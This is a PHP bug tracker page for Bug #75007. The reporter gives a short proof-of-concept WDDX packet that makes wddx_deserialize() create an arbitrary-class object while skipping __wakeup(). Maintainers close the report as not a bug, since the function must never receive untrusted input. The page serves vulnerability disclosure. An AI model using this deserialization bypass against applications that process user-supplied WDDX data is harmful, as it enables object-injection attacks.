php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #75007 Create an Unexpected Object in During WDDX Deserialization
Submitted: 2017-07-30 14:34 UTC Modified: 2020-12-05 16:20 UTC
Votes:2
Avg. Score:4.0 ± 1.0
Reproduced:0 of 1 (0.0%)
From: taoguangchen at icloud dot com Assigned: cmb (profile)
Status: Not a bug Package: WDDX related
PHP Version: 5.6.31 OS: *
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2017-07-30 14:34 UTC] taoguangchen at icloud dot com
Description:
------------
Create an Unexpected Object in During WDDX Deserialization

In During WDDX Deserialization, an unexpected object can be created via the crafted wddx pockets, and bypass __wakeup() method

PoC:
```
class obj {
	function __wakeup() {
		var_dump('hi');
	}
}

$wddx = <<<EOT
<?xml version='1.0'?>
<wddxPacket version='1.0'>
<header/>
	<data>
		<struct>
			<var name='php_class_name'>
				<string>obj</string>
			</var>
			<var name='prop'>
				<string>ryat</string>
			</var>
EOT;

var_dump(wddx_deserialize($wddx));
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2017-07-31 12:46 UTC] zeev@php.net
Like unserialize, wddx_deserialize() must not be fed with untrusted input.
Consequently we don't consider bugs in wddx_deserialize security vulnerabilities.
Removing Private flag...
 [2017-08-02 17:23 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2020-12-05 16:20 UTC] cmb@php.net
Actually, this is not even a bug; the behavior is documented and
it is warned against passing untrusted input to that function.
Also, the complete WDDX extension is deprecated and unbundled as
of PHP 7.4.0.
 [2020-12-05 16:20 UTC] cmb@php.net
-Status: Open +Status: Not a bug -Assigned To: +Assigned To: cmb
 [2020-12-05 16:20 UTC] cmb@php.net
.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 13:01:31 2024 UTC